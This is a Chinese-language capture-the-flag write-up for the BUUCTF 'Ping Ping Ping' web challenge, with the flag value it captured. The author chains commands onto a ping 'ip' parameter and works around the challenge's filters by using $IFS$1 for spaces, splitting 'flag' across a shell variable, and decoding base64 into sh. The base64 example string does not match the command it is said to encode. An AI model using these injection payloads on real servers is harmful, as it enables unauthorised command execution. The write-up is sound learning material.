BUU-WEB-Ping Ping Ping
根据页面提示,首先尝试构建payload
....?ip=127.0.0.1
尝试构建通过管道符构建payload
?ip=127.0.0.1|ls
发现flag.php,所以目标就是打开这个网页。
构建payload
?ip=127.0.0.1|cat flag.php
发现被过滤了。
尝试利用$IFS$1
代替空格符。
构建payload
?ip=127.0.0.1|cat$IFS$1flag.php
依旧被过滤了。
(难道是flag被过滤了,尝试一下index可不可以)
构建payload
?ip=127.0.0.1|cat$IFS$1index.php
查看index主页,发现flag被过滤。
看了也别人的wp,发现最简单的方法就是变量替代。
为什么可以利用变量替代呢,因为源码中有个变量a。
通过给它赋值,在拼接字符串构建flag。
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
还有一种方法就是通过base64加密,再解密执行。
cat /flag
base64加密为
Y2F0IC9mbGFn
payload为
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
|bash就是执行前面的脚本。
但是这里bash被过滤了,用sh替换,目的一样,为了执行前面的脚本。
payload为:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
flag在源码的注释里。
flag{ae544713-19dc-4697-99d3-ee11d53e54b1}